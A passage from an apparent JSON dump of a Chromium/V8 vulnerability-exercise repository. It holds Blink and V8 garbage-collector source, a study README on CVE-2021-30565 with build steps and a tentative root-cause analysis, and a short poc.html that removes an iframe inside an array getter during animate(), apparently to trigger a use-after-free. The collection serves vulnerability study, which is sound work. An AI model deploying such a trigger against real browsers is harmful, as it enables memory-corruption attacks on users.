CompositorAnimations::kInvalidAnimationOrEffect;\n\n  // There would be no reason to composite an effect that has no target; it has\n  // no visual result.\n  if (!effect_target_) {\n    reasons |= CompositorAnimations::kInvalidAnimationOrEffect;\n  } else {\n    if (effect_target_->GetComputedStyle() &&\n        effect_target_->GetComputedStyle()->HasOffset())\n      reasons |= CompositorAnimations::kTargetHasCSSOffset;\n\n    // Do not put transforms on compositor if more than one of them are defined\n    // in computed style because they need to be explicitly ordered\n    if (HasMultipleTransformProperties())\n      reasons |= CompositorAnimations::kTargetHasMultipleTransformProperties;\n\n    reasons |= CompositorAnimations::CheckCanStartAnimationOnCompositor(\n        SpecifiedTiming(), *effect_target_, GetAnimation(), *Model(),\n        paint_artifact_compositor, animation_playback_rate,\n        unsupported_properties);\n  }\n\n  return reasons;\n}\n\nvoid KeyframeEffect::StartAnimationOnCompositor(\n    int group,\n    base::Optional<double> start_time,\n    base::TimeDelta time_offset,\n    double animation_playback_rate,\n    CompositorAnimation* compositor_animation) {\n  DCHECK(!HasActiveAnimationsOnCompositor());\n  // TODO(petermayo): Maybe we should recheck that we can start on the\n  // compositor if we have the compositable IDs somewhere.\n\n  if (!compositor_animation)\n    compositor_animation = GetAnimation()->GetCompositorAnimation();\n\n  DCHECK(compositor_animation);\n  DCHECK(effect_target_);\n  DCHECK(Model());\n\n  CompositorAnimations::StartAnimationOnCompositor(\n      *effect_target_, group, start_time, time_offset, SpecifiedTiming(),\n      GetAnimation(), *compositor_animation, *Model(),\n      compositor_keyframe_model_ids_, animation_playback_rate);\n  DCHECK(!compositor_keyframe_model_ids_.IsEmpty());\n}\n\nbool KeyframeEffect::HasActiveAnimationsOnCompositor() const {\n  return !compositor_keyframe_model_ids_.IsEmpty();\n}\n\nbool KeyframeEffect::HasActiveAnimationsOnCompositor(\n    const PropertyHandle& property) const {\n  return HasActiveAnimationsOnCompositor() && Affects(property);\n}\n\nbool KeyframeEffect::CancelAnimationOnCompositor(\n    CompositorAnimation* compositor_animation) {\n  if (!HasActiveAnimationsOnCompositor())\n    return false;\n  if (!effect_target_ || !effect_target_->GetLayoutObject())\n    return false;\n  DCHECK(Model());\n  for (const auto& compositor_keyframe_model_id :\n       compositor_keyframe_model_ids_) {\n    CompositorAnimations::CancelAnimationOnCompositor(\n        *effect_target_, compositor_animation, compositor_keyframe_model_id,\n        *Model());\n  }\n  compositor_keyframe_model_ids_.clear();\n  return true;\n}\n\nvoid KeyframeEffect::CancelIncompatibleAnimationsOnCompositor() {\n  if (effect_target_ && GetAnimation() && model_->HasFrames()) {\n    DCHECK(Model());\n    CompositorAnimations::CancelIncompatibleAnimationsOnCompositor(\n        *effect_target_, *GetAnimation(), *Model());\n  }\n}\n\nvoid KeyframeEffect::PauseAnimationForTestingOnCompositor(\n    base::TimeDelta pause_time) {\n  DCHECK(HasActiveAnimationsOnCompositor());\n  if (!effect_target_ || !effect_target_->GetLayoutObject())\n    return;\n  DCHECK(GetAnimation());\n  DCHECK(Model());\n  for (const auto& compositor_keyframe_model_id :\n       compositor_keyframe_model_ids_) {\n    CompositorAnimations::PauseAnimationForTestingOnCompositor(\n        *effect_target_, *GetAnimation(), compositor_keyframe_model_id,\n        pause_time, *Model());\n  }\n}\n\nvoid KeyframeEffect::AttachCompositedLayers() {\n  DCHECK(effect_target_);\n  DCHECK(GetAnimation());\n  CompositorAnimation* compositor_animation =\n      GetAnimation()->GetCompositorAnimation();\n  // If this is a paint worklet element and it is animating custom property\n  // only, it doesn't require an element id to run on the compositor thread.\n  // However, our compositor animation system requires the element to be on the\n  // property tree in order to keep ticking the animation. Therefore, we give a\n  // very special element id for this animation so that the compositor animation\n  // system recognize it. We do not use 0 as the element id because 0 is\n  // kInvalidElementId.\n  if (compositor_animation && !Model()->RequiresPropertyNode()) {\n    compositor_animation->AttachNoElement();\n    return;\n  }\n  CompositorAnimations::AttachCompositedLayers(*effect_target_,\n                                               compositor_animation);\n}\n\nbool KeyframeEffect::HasAnimation() const {\n  return !!owner_;\n}\n\nbool KeyframeEffect::HasPlayingAnimation() const {\n  return owner_ && owner_->Playing();\n}\n\nvoid KeyframeEffect::Trace(Visitor* visitor) const {\n  visitor->Trace(effect_target_);\n  visitor->Trace(target_element_);\n  visitor->Trace(model_);\n  visitor->Trace(sampled_effect_);\n  AnimationEffect::Trace(visitor);\n}\n\nnamespace {\n\nstatic const size_t num_transform_properties = 4;\n\nconst CSSProperty** TransformProperties() {\n  static const CSSProperty* kTransformProperties[num_transform_properties] = {\n      &GetCSSPropertyTransform(), &GetCSSPropertyScale(),\n      &GetCSSPropertyRotate(), &GetCSSPropertyTranslate()};\n  return kTransformProperties;\n}\n\n}  // namespace\n\nbool KeyframeEffect::UpdateBoxSizeAndCheckTransformAxisAlignment(\n    const FloatSize& box_size) {\n  static const auto** properties = TransformProperties();\n  bool preserves_axis_alignment = true;\n  bool has_transform = false;\n  TransformOperation::BoxSizeDependency size_dependencies =\n      TransformOperation::kDependsNone;\n  for (size_t i = 0; i < num_transform_properties; i++) {\n    const auto* keyframes =\n        Model()->GetPropertySpecificKeyframes(PropertyHandle(*properties[i]));\n    if (!keyframes)\n      continue;\n\n    has_transform = true;\n    for (const auto& keyframe : *keyframes) {\n      const auto* value = keyframe->GetCompositorKeyframeValue();\n      if (!value)\n        continue;\n      const auto& transform_operations =\n          To<CompositorKeyframeTransform>(value)->GetTransformOperations();\n      if (!transform_operations.PreservesAxisAlignment())\n        preserves_axis_alignment = false;\n      size_dependencies = TransformOperation::CombineDependencies(\n          size_dependencies, transform_operations.BoxSizeDependencies());\n    }\n  }\n\n  if (!has_transform)\n    return true;\n\n  if (HasAnimation()) {\n    if (effect_target_size_) {\n      if ((size_dependencies & TransformOperation::kDependsWidth) &&\n          (effect_target_size_->Width() != box_size.Width()))\n        RestartRunningAnimationOnCompositor();\n      else if ((size_dependencies & TransformOperation::kDependsHeight) &&\n               (effect_target_size_->Height() != box_size.Height()))\n        RestartRunningAnimationOnCompositor();\n    }\n  }\n\n  effect_target_size_ = box_size;\n\n  return preserves_axis_alignment;\n}\n\nvoid KeyframeEffect::RestartRunningAnimationOnCompositor() {\n  Animation* animation = GetAnimation();\n  if (!animation)\n    return;\n\n  // No need to to restart an animation that is in the process of starting up,\n  // paused or idle.\n  if (!animation->startTime())\n    return;\n\n  animation->RestartAnimationOnCompositor();\n}\n\nbool KeyframeEffect::IsIdentityOrTranslation() const {\n  static const auto** properties = TransformProperties();\n  for (size_t i = 0; i < num_transform_properties; i++) {\n    const auto* keyframes =\n        Model()->GetPropertySpecificKeyframes(PropertyHandle(*properties[i]));\n    if (!keyframes)\n      continue;\n\n    for (const auto& keyframe : *keyframes) {\n      if (const auto* value = keyframe->GetCompositorKeyframeValue()) {\n        if (!To<CompositorKeyframeTransform>(value)\n                 ->GetTransformOperations()\n                 .IsIdentityOrTranslation()) {\n          return false;\n        }\n      }\n    }\n  }\n  return true;\n}\n\nEffectModel::CompositeOperation KeyframeEffect::CompositeInternal() const {\n  return model_->Composite();\n}\n\nvoid KeyframeEffect::ApplyEffects() {\n  DCHECK(IsInEffect());\n  if (!effect_target_ || !model_->HasFrames())\n    return;\n\n  if (GetAnimation() && HasIncompatibleStyle()) {\n    GetAnimation()->CancelAnimationOnCompositor();\n  }\n\n  base::Optional<double> iteration = CurrentIteration();\n  DCHECK(iteration);\n  DCHECK_GE(iteration.value(), 0);\n  bool changed = false;\n  if (sampled_effect_) {\n    changed =\n        model_->Sample(clampTo<int>(iteration.value(), 0), Progress().value(),\n                       SpecifiedTiming().IterationDuration(),\n                       sampled_effect_->MutableInterpolations());\n  } else {\n    HeapVector<Member<Interpolation>> interpolations;\n    model_->Sample(clampTo<int>(iteration.value(), 0), Progress().value(),\n                   SpecifiedTiming().IterationDuration(), interpolations);\n    if (!interpolations.IsEmpty()) {\n      auto* sampled_effect =\n          MakeGarbageCollected<SampledEffect>(this, owner_->SequenceNumber());\n      sampled_effect->MutableInterpolations().swap(interpolations);\n      sampled_effect_ = sampled_effect;\n      effect_target_->EnsureElementAnimations().GetEffectStack().Add(\n          sampled_effect);\n      changed = true;\n    } else {\n      return;\n    }\n  }\n\n  if (changed) {\n    effect_target_->SetNeedsAnimationStyleRecalc();\n    auto* svg_element = DynamicTo<SVGElement>(effect_target_.Get());\n    if (RuntimeEnabledFeatures::WebAnimationsSVGEnabled() && svg_element)\n      svg_element->SetWebAnimationsPending();\n  }\n}\n\nvoid KeyframeEffect::ClearEffects() {\n  if (!sampled_effect_)\n    return;\n  sampled_effect_->Clear();\n  sampled_effect_ = nullptr;\n  if (GetAnimation())\n    GetAnimation()->RestartAnimationOnCompositor();\n  if (!effect_target_->GetDocument().Lifecycle().InDetach())\n    effect_target_->SetNeedsAnimationStyleRecalc();\n  auto* svg_element = DynamicTo<SVGElement>(effect_target_.Get());\n  if (RuntimeEnabledFeatures::WebAnimationsSVGEnabled() && svg_element)\n    svg_element->ClearWebAnimatedAttributes();\n  Invalidate();\n}\n\nvoid KeyframeEffect::UpdateChildrenAndEffects() const {\n  if (!model_->HasFrames())\n    return;\n  DCHECK(owner_);\n  if (IsInEffect() && !owner_->EffectSuppressed() &&\n      !owner_->ReplaceStateRemoved())\n    const_cast<KeyframeEffect*>(this)->ApplyEffects();\n  else\n    const_cast<KeyframeEffect*>(this)->ClearEffects();\n}\n\nvoid KeyframeEffect::Attach(AnimationEffectOwner* owner) {\n  AttachTarget(owner->GetAnimation());\n  AnimationEffect::Attach(owner);\n}\n\nvoid KeyframeEffect::Detach() {\n  DetachTarget(GetAnimation());\n  AnimationEffect::Detach();\n}\n\nvoid KeyframeEffect::AttachTarget(Animation* animation) {\n  if (!effect_target_ || !animation)\n    return;\n  effect_target_->EnsureElementAnimations().Animations().insert(animation);\n  effect_target_->SetNeedsAnimationStyleRecalc();\n  auto* svg_element = DynamicTo<SVGElement>(effect_target_.Get());\n  if (RuntimeEnabledFeatures::WebAnimationsSVGEnabled() && svg_element)\n    svg_element->SetWebAnimationsPending();\n}\n\nvoid KeyframeEffect::DetachTarget(Animation* animation) {\n  if (effect_target_ && animation)\n    effect_target_->GetElementAnimations()->Animations().erase(animation);\n  // If we have sampled this effect previously, we need to purge that state.\n  // ClearEffects takes care of clearing the cached sampled effect, informing\n  // the target that it needs to refresh its style, and doing any necessary\n  // update on the compositor.\n  ClearEffects();\n}\n\nAnimationTimeDelta KeyframeEffect::CalculateTimeToEffectChange(\n    bool forwards,\n    base::Optional<double> local_time,\n    AnimationTimeDelta time_to_next_iteration) const {\n  const double start_time = SpecifiedTiming().start_delay;\n  const double end_time_minus_end_delay =\n      start_time + SpecifiedTiming().ActiveDuration();\n  const double end_time =\n      end_time_minus_end_delay + SpecifiedTiming().end_delay;\n  const double after_time = std::min(end_time_minus_end_delay, end_time);\n\n  Timing::Phase phase = GetPhase();\n  DCHECK(local_time || phase == Timing::kPhaseNone);\n  switch (phase) {\n    case Timing::kPhaseNone:\n      return AnimationTimeDelta::Max();\n    case Timing::kPhaseBefore:\n      // Return value is clamped at 0 to prevent unexpected results that could\n      // be caused by returning negative values.\n      return forwards ? AnimationTimeDelta::FromSecondsD(std::max<double>(\n                            start_time - local_time.value(), 0))\n                      : AnimationTimeDelta::Max();\n    case Timing::kPhaseActive:\n      if (forwards) {\n        // Need service to apply fill / fire events.\n        const double time_to_end = after_time - local_time.value();\n        if (RequiresIterationEvents()) {\n          return std::min(AnimationTimeDelta::FromSecondsD(time_to_end),\n                          time_to_next_iteration);\n        }\n        return AnimationTimeDelta::FromSecondsD(time_to_end);\n      }\n      return {};\n    case Timing::kPhaseAfter:\n      DCHECK_GE(local_time.value(), after_time);\n      if (forwards) {\n        // If an animation has a positive-valued end delay, we need an\n        // additional tick at the end time to ensure that the finished event is\n        // delivered.\n        return end_time > local_time ? AnimationTimeDelta::FromSecondsD(\n                                           end_time - local_time.value())\n                                     : AnimationTimeDelta::Max();\n      }\n      return AnimationTimeDelta::FromSecondsD(local_time.value() - after_time);\n    default:\n      NOTREACHED();\n      return AnimationTimeDelta::Max();\n  }\n}\n\n// Returns true if transform, translate, rotate or scale is composited\n// and a motion path or other transform properties\n// has been introduced on the element\nbool KeyframeEffect::HasIncompatibleStyle() const {\n  if (!effect_target_->GetComputedStyle())\n    return false;\n\n  if (HasActiveAnimationsOnCompositor()) {\n    if (effect_target_->GetComputedStyle()->HasOffset()) {\n      static const auto** properties = TransformProperties();\n      for (size_t i = 0; i < num_transform_properties; i++) {\n        if (Affects(PropertyHandle(*properties[i])))\n          return true;\n      }\n    }\n    return HasMultipleTransformProperties();\n  }\n\n  return false;\n}\n\nbool KeyframeEffect::HasMultipleTransformProperties() const {\n  if (!effect_target_->GetComputedStyle())\n    return false;\n\n  unsigned transform_property_count = 0;\n  if (effect_target_->GetComputedStyle()->HasTransformOperations())\n    transform_property_count++;\n  if (effect_target_->GetComputedStyle()->Rotate())\n    transform_property_count++;\n  if (effect_target_->GetComputedStyle()->Scale())\n    transform_property_count++;\n  if (effect_target_->GetComputedStyle()->Translate())\n    transform_property_count++;\n  return transform_property_count > 1;\n}\n\nActiveInterpolationsMap KeyframeEffect::InterpolationsForCommitStyles() {\n  // If the associated animation has been removed, it needs to be temporarily\n  // reintroduced to the effect stack in order to be including in the\n  // interpolations map.\n  bool removed = owner_->ReplaceStateRemoved();\n  if (removed)\n    ApplyEffects();\n\n  ActiveInterpolationsMap results = EffectStack::ActiveInterpolations(\n      &target()->GetElementAnimations()->GetEffectStack(),\n      /*new_animations=*/nullptr,\n      /*suppressed_animations=*/nullptr, kDefaultPriority,\n      /*property_pass_filter=*/nullptr, this);\n\n  if (removed)\n    ClearEffects();\n\n  return results;\n}\n\nvoid KeyframeEffect::SetLogicalPropertyResolutionContext(\n    TextDirection text_direction,\n    WritingMode writing_mode) {\n  if (auto* model = DynamicTo<StringKeyframeEffectModel>(Model())) {\n    if (model->SetLogicalPropertyResolutionContext(text_direction,\n                                                   writing_mode)) {\n      ClearEffects();\n      InvalidateAndNotifyOwner();\n    }\n  }\n}\n\nvoid KeyframeEffect::CountAnimatedProperties() const {\n  if (target_element_) {\n    Document& document = target_element_->GetDocument();\n    for (const auto& property : model_->Properties()) {\n      if (property.IsCSSProperty()) {\n        DCHECK(IsValidCSSPropertyID(property.GetCSSProperty().PropertyID()));\n        document.CountAnimatedProperty(property.GetCSSProperty().PropertyID());\n      }\n    }\n  }\n}\n\n}  // namespace blink\n"
  },
  {
    "path": "LEVEL_1/exercise_6/poc.html",
    "content": "<body></body>\n<script>\nfunction allociframe(){\n  var iframe = document.createElement( \"iframe\");\n  console.log(iframe);\n  iframe.height = 0;\n  iframe.width = 0;\n  //\n  document.body.appendChild( iframe );\n  return iframe;\n}\niframe = allociframe();\nc = iframe.contentDocument.createElement(\"div\");\nvar arr=[];\n\narr.__defineGetter__(0,()=>{\n    console.log(\"getter\");\n    document.body.removeChild(iframe);\n    return { transform: 'translate3D(0, -300px, 0)' };\n})\nc.animate(arr,{\n  duration: 3000,\n  iterations: Infinity,\n  timeline:null\n});\n</script>"
  },
  {
    "path": "LEVEL_1/exercise_7/README.md",
    "content": "# Exercise 7\n\n\n## CVE-2021-30565\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n### Details\n\n> cppgc: Fix ephemeron iterations\n>\n> If processing the marking worklists found new ephemeron pairs, but\nprocessing the existing ephemeron pairs didn't mark new objects, marking\nwould stop and the newly discovered ephemeron pairs would not be\nprocessed. This can lead to a marked key with an unmarked value.\n\n\nAn ephemeron pair is used to conditionally retain an object.\nThe `value` will be kept alive only if the `key` is alive.\n\n\n### Set environment\n\nset v8 environment\n```sh\n# get depot_tools\ngit clone https://chromium.googlesource.com/chromium/tools/depot_tools.git\n# add to env var\necho 'export PATH=$PATH:\"/path/to/depot_tools\"' >> ~/.bashrc\n# get v8 source code\nfetch v8\n# chenge to right commit\ncd v8\ngit reset --hard f41f4fb4e66916936ed14d8f9ee20d5fb0afc548\n# download others\ngclient sync\n# get ninja for compile\ngit clone https://github.com/ninja-build/ninja.git\ncd ninja && ./configure.py --bootstrap && cd ..\n# set environment variable\necho 'export PATH=$PATH:\"/path/to/ninja\"' >> ~/.bashrc\n\n# compile debug\ntools/dev/v8gen.py x64.debug\nninja -C out.gn/x64.debug d8\n# compile release (optional)\ntools/dev/v8gen.py x64.release\nninja -C out.gn/x64.release d8\n```\n\n### Related code\n`src/heap/cppgc/marker.cc`\n`src/heap/cppgc/marking-state.h`\n```c++\nbool MarkerBase::ProcessWorklistsWithDeadline(\n    size_t marked_bytes_deadline, v8::base::TimeTicks time_deadline) {\n  StatsCollector::EnabledScope stats_scope(\n      heap().stats_collector(), StatsCollector::kMarkTransitiveClosure);\n  do {\n    if ((config_.marking_type == MarkingConfig::MarkingType::kAtomic) ||\n        schedule_.ShouldFlushEphemeronPairs()) {\n      mutator_marking_state_.FlushDiscoveredEphemeronPairs();\n    }\n\n    // Bailout objects may be complicated to trace and thus might take longer\n    // than other objects. Therefore we reduce the interval between deadline\n    // checks to guarantee the deadline is not exceeded.\n    [ ... ]\n    {\n      StatsCollector::EnabledScope inner_stats_scope(\n          heap().stats_collector(), StatsCollector::kMarkProcessEphemerons);\n      if (!DrainWorklistWithBytesAndTimeDeadline(\n              mutator_marking_state_, marked_bytes_deadline, time_deadline,\n              mutator_marking_state_.ephemeron_pairs_for_processing_worklist(),\n              [this](const MarkingWorklists::EphemeronPairItem& item) {\n                mutator_marking_state_.ProcessEphemeron(\n                    item.key, item.value, item.value_desc, visitor());\n              })) {\n        return false;\n      }\n    }\n  } while (!mutator_marking_state_.marking_worklist().IsLocalAndGlobalEmpty());\n  return true;\n}\n```\n\n```c++\nvoid MarkingStateBase::ProcessEphemeron(const void* key, const void* value,\n                                        TraceDescriptor value_desc,\n                                        Visitor& visitor) {\n  // Filter out already marked keys. The write barrier for WeakMember\n  // ensures that any newly set value after this point is kept alive and does\n  // not require the callback.\n  if (!HeapObjectHeader::FromObject(key)\n           .IsInConstruction<AccessMode::kAtomic>() &&\n      HeapObjectHeader::FromObject(key).IsMarked<AccessMode::kAtomic>()) {\n    if (value_desc.base_object_payload) {\n      MarkAndPush(value_desc.base_object_payload, value_desc);\n    } else {\n      // If value_desc.base_object_payload is nullptr, the value is not GCed and\n      // should be immediately traced.\n      value_desc.callback(&visitor, value);\n    }\n    return;\n  }\n  // |discovered_ephemeron_pairs_worklist_| may still hold ephemeron pairs with\n  // dead keys.\n  discovered_ephemeron_pairs_worklist_.Push({key, value, value_desc});\n}\n```\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer, probably wrong</summary>\n\n  ```c++\n// Marking algorithm. Example for a valid call sequence creating the marking\n// phase:\n// 1. StartMarking() [Called implicitly when creating a Marker using\n//                    MarkerFactory]\n// 2. AdvanceMarkingWithLimits() [Optional, depending on environment.]\n// 3. EnterAtomicPause()\n// 4. AdvanceMarkingWithLimits()\n// 5. LeaveAtomicPause()\n//\n// Alternatively, FinishMarking combines steps 3.-5.\n  ```\n  https://chromium.googlesource.com/v8/v8.git/+/e677a6f6b257e992094b9183a958b67ecc68aa85\n  ```c++\nvoid MarkingStateBase::ProcessEphemeron(const void* key, const void* value,\n                                        TraceDescriptor value_desc,\n                                        Visitor& visitor) {\n  // Filter out already marked keys. The write barrier for WeakMember\n  // ensures that any newly set value after this point is kept alive and does\n  // not require the callback.\n  if (!HeapObjectHeader::FromObject(key)\n          .IsInConstruction<AccessMode::kAtomic>() &&   [1]\n      HeapObjectHeader::FromObject(key).IsMarked<AccessMode::kAtomic>()) { [2]\n  /**\n   * value_desc.base_object_payload:\n   * \n   * Adjusted base pointer, i.e., the pointer to the class inheriting directly\n   * from GarbageCollected, of the object that is being traced.\n   */\n    if (value_desc.base_object_payload) {\n      MarkAndPush(value_desc.base_object_payload, value_desc);\n    } else {\n      // If value_desc.base_object_payload is nullptr, the value is not GCed and\n      // should be immediately traced.\n      value_desc.callback(&visitor, value);\n    }\n    return;\n  }\n  discovered_ephemeron_pairs_worklist_.Push({key, value, value_desc}); // if find new ephemeron_pairs, need push\n}\n=======================================================================\ntemplate <size_t deadline_check_interval, typename WorklistLocal,\n          typename Callback, typename Predicate>\nbool DrainWorklistWithPredicate(Predicate should_yield,\n                                WorklistLocal& worklist_local,\n                                Callback callback) {\n  if (worklist_local.IsLocalAndGlobalEmpty()) return true;\n  // For concurrent markers, should_yield also reports marked bytes.\n  if (should_yield()) return false;\n  size_t processed_callback_count = deadline_check_interval;\n  typename WorklistLocal::ItemType item;\n  while (worklist_local.Pop(&item)) {\n    callback(item);             // ProcessEphemeron\n    if (--processed_callback_count == 0) {\n      if (should_yield()) {\n        return false;\n      }\n      processed_callback_count = deadline_check_interval;\n    }\n  }\n  return true;\n}\n  ```\n  [1] `IsInConstruction == false` means the the data of `Object` all setted up.\n\n  [2] `IsMarked == true` means this `object` has been marked.\n\n  the `ProcessEphemeron` will be the parameter of `DrainWorklistWithPredicate` named `callback` and `discovered_ephemeron_pairs_worklist_` pop item to call `RocessEphemeron` in loop\n\n  ```c++\nconst HeapObjectHeader& HeapObjectHeader::FromObject(const void* object) {  [3]\n  return *reinterpret_cast<const HeapObjectHeader*>(\n      static_cast<ConstAddress>(object) - sizeof(HeapObjectHeader));\n}\n============================================================\ntemplate <AccessMode mode>\nbool HeapObjectHeader::IsInConstruction() const {\n  const uint16_t encoded =\n      LoadEncoded<mode, EncodedHalf::kHigh, std::memory_order_acquire>();\n  return !FullyConstructedField::decode(encoded);         [4]\n}\n============================================================\ntemplate <AccessMode mode>\nbool HeapObjectHeader::IsMarked() const {\n  const uint16_t encoded =\n      LoadEncoded<mode, EncodedHalf::kLow, std::memory_order_relaxed>();\n  return MarkBitField::decode(encoded);                    [5]\n}\n  ```\n  [3] return the ptr to `HeapObjectHeader`, you can treat it as `addrOf(Chunk) - sizeof(ChunkHeader)` can get the addr of ChunkHeader\n\n  [4] and [5] can get info of the `HeapObjectHeader` which be organized in some regular pattern. The following content explains this clearly\n  ```c++\n// Used in |encoded_high_|.\nusing FullyConstructedField = v8::base::BitField16<bool, 0, 1>;        [6]\nusing UnusedField1 = FullyConstructedField::Next<bool, 1>;\nusing GCInfoIndexField = UnusedField1::Next<GCInfoIndex, 14>;\n// Used in |encoded_low_|.\nusing MarkBitField = v8::base::BitField16<bool, 0, 1>;\nusing SizeField = void;  // Use EncodeSize/DecodeSize instead.\n==============================================\n// Extracts the bit field from the value.\nstatic constexpr T decode(U value) {\n  return static_cast<T>((value & kMask) >> kShift);           [7]\n}\n  ```\n  you can understand [6] better by this.\n\n   ```c++\n// HeapObjectHeader contains meta data per object and is prepended to each\n// object.\n//\n// +-----------------+------+------------------------------------------+\n// | name            | bits |                                          |\n// +-----------------+------+------------------------------------------+\n// | padding         |   32 | Only present on 64-bit platform.         |\n// +-----------------+------+------------------------------------------+\n// | GCInfoIndex     |   14 |                                          |\n// | unused          |    1 |                                          |\n// | in construction |    1 | In construction encoded as |false|.      |\n// +-----------------+------+------------------------------------------+\n// | size            |   15 | 17 bits because allocations are aligned. |\n// | mark bit        |    1 |                                          |\n// +-----------------+------+------------------------------------------+\n//\n// Notes:\n// - See |GCInfoTable| for constraints on GCInfoIndex.\n// - |size| for regular objects is encoded with 15 bits but can actually\n//   represent sizes up to |kBlinkPageSize| (2^17) because allocations are\n//   always 4 byte aligned (see kAllocationGranularity) on 32bit. 64bit uses\n//   8 byte aligned allocations which leaves 1 bit unused.\n// - |size| for large objects is encoded as 0. The size of a large object is\n//   stored in |LargeObjectPage::PayloadSize()|.\n// - |mark bit| and |in construction| bits are located in separate 16-bit halves\n//    to allow potentially accessing them non-atomically.\n  ```\n  So [7] can get specific bit of `HeapObjectHeader` | meta data, means the Object status information\n\n  `ProcessEphemeron` func means if object has been marked and `value_desc.base_object_payload`(may be write barrier?) not null, we need to mark value_desc.base_object_payload, else we find new  `ephemeron_pairs`.\n\n  But if `value_desc.base_object_payload` have not been set, we need to callback (maybe used for search old space for what object prt to this value), this may lead to recursive call. And the mark process can be stoped because the time limit.\n  \n  There are many gc processes, if two of them call the `ProcessEphemeron` and the A process prepare to mark value. But B process find new `ephemeron_pairs`, the mark will be stoped, **I gusee** :), lead to a marked key with an unmarked value.\n  \n\n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_1/exercise_7/marker.cc",
    "content": "// Copyright 2020 the V8 project authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"src/heap/cppgc/marker.h\"\n\n#include <cstdint>\n#include <memory>\n\n#include \"include/cppgc/heap-consistency.h\"\n#include \"include/cppgc/platform.h\"\n#include \"src/base/platform/time.h\"\n#include \"src/heap/cppgc/heap-object-header.h\"\n#include \"src/heap/cppgc/heap-page.h\"\n#include \"src/heap/cppgc/heap-visitor.h\"\n#include \"src/heap/cppgc/heap.h\"\n#include \"src/heap/cppgc/liveness-broker.h\"\n#include \"src/heap/cppgc/marking-state.h\"\n#include \"src/heap/cppgc/marking-visitor.h\"\n#include \"src/heap/cppgc/process-heap.h\"\n#include \"src/heap/cppgc/stats-collector.h\"\n#include \"src/heap/cppgc/write-barrier.h\"\n\n#if defined(CPPGC_CAGED_HEAP)\n#include \"include/cppgc/internal/caged-heap-local-data.h\"\n#endif\n\nnamespace cppgc {\nnamespace internal {\n\nnamespace {\n\nbool EnterIncrementalMarkingIfNeeded(Marker::MarkingConfig config,\n                                     HeapBase& heap) {\n  if (config.marking_type == Marker::MarkingConfig::MarkingType::kIncremental ||\n      config.marking_type ==\n          Marker::MarkingConfig::MarkingType::kIncrementalAndConcurrent) {\n    WriteBarrier::IncrementalOrConcurrentMarkingFlagUpdater::Enter();\n#if defined(CPPGC_CAGED_HEAP)\n    heap.caged_heap().local_data().is_incremental_marking_in_progress = true;\n#endif  // defined(CPPGC_CAGED_HEAP)\n    return true;\n  }\n  return false;\n}\n\nbool ExitIncrementalMarkingIfNeeded(Marker::MarkingConfig config,\n                                    HeapBase& heap) {\n  if (config.marking_type == Marker::MarkingConfig::MarkingType::kIncremental ||\n      config.marking_type ==\n          Marker::MarkingConfig::MarkingType::kIncrementalAndConcurrent) {\n    WriteBarrier::IncrementalOrConcurrentMarkingFlagUpdater::Exit();\n#if defined(CPPGC_CAGED_HEAP)\n    heap.caged_heap().local_data().is_incremental_marking_in_progress = false;\n#endif  // defined(CPPGC_CAGED_HEAP)\n    return true;\n  }\n  return false;\n}\n\n// Visit remembered set that was recorded in the generational barrier.\nvoid VisitRememberedSlots(HeapBase& heap,\n                          MutatorMarkingState& mutator_marking_state) {\n#if defined(CPPGC_YOUNG_GENERATION)\n  StatsCollector::EnabledScope stats_scope(\n      heap.stats_collector(), StatsCollector::kMarkVisitRememberedSets);\n  for (void* slot : heap.remembered_slots()) {\n    auto& slot_header = BasePage::FromInnerAddress(&heap, slot)\n                            ->ObjectHeaderFromInnerAddress(slot);\n    if (slot_header.IsYoung()) continue;\n    // The design of young generation requires collections to be executed at the\n    // top level (with the guarantee that no objects are currently being in\n    // construction). This can be ensured by running young GCs from safe points\n    // or by reintroducing nested allocation scopes that avoid finalization.\n    DCHECK(!slot_header.template IsInConstruction<AccessMode::kNonAtomic>());\n\n    void* value = *reinterpret_cast<void**>(slot);\n    mutator_marking_state.DynamicallyMarkAddress(static_cast<Address>(value));\n  }\n#endif\n}\n\n// Assumes that all spaces have their LABs reset.\nvoid ResetRememberedSet(HeapBase& heap) {\n#if defined(CPPGC_YOUNG_GENERATION)\n  auto& local_data = heap.caged_heap().local_data();\n  local_data.age_table.Reset(&heap.caged_heap().allocator());\n  heap.remembered_slots().clear();\n#endif\n}\n\nstatic constexpr size_t kDefaultDeadlineCheckInterval = 150u;\n\ntemplate <size_t kDeadlineCheckInterval = kDefaultDeadlineCheckInterval,\n          typename WorklistLocal, typename Callback>\nbool DrainWorklistWithBytesAndTimeDeadline(MarkingStateBase& marking_state,\n                                           size_t marked_bytes_deadline,\n                                           v8::base::TimeTicks time_deadline,\n                                           WorklistLocal& worklist_local,\n                                           Callback callback) {\n  return DrainWorklistWithPredicate<kDeadlineCheckInterval>(\n      [&marking_state, marked_bytes_deadline, time_deadline]() {\n        return (marked_bytes_deadline <= marking_state.marked_bytes()) ||\n               (time_deadline <= v8::base::TimeTicks::Now());\n      },\n      worklist_local, callback);\n}\n\nsize_t GetNextIncrementalStepDuration(IncrementalMarkingSchedule& schedule,\n                                      HeapBase& heap) {\n  return schedule.GetNextIncrementalStepDuration(\n      heap.stats_collector()->allocated_object_size());\n}\n\n}  // namespace\n\nconstexpr v8::base::TimeDelta MarkerBase::kMaximumIncrementalStepDuration;\n\nMarkerBase::IncrementalMarkingTask::IncrementalMarkingTask(\n    MarkerBase* marker, MarkingConfig::StackState stack_state)\n    : marker_(marker),\n      stack_state_(stack_state),\n      handle_(Handle::NonEmptyTag{}) {}\n\n// static\nMarkerBase::IncrementalMarkingTask::Handle\nMarkerBase::IncrementalMarkingTask::Post(cppgc::TaskRunner* runner,\n                                         MarkerBase* marker) {\n  // Incremental GC is possible only via the GCInvoker, so getting here\n  // guarantees that either non-nestable tasks or conservative stack\n  // scanning are supported. This is required so that the incremental\n  // task can safely finalize GC if needed.\n  DCHECK_IMPLIES(marker->heap().stack_support() !=\n                     HeapBase::StackSupport::kSupportsConservativeStackScan,\n                 runner->NonNestableTasksEnabled());\n  MarkingConfig::StackState stack_state_for_task =\n      runner->NonNestableTasksEnabled()\n          ? MarkingConfig::StackState::kNoHeapPointers\n          : MarkingConfig::StackState::kMayContainHeapPointers;\n  auto task =\n      std::make_unique<IncrementalMarkingTask>(marker, stack_state_for_task);\n  auto handle = task->handle_;\n  if 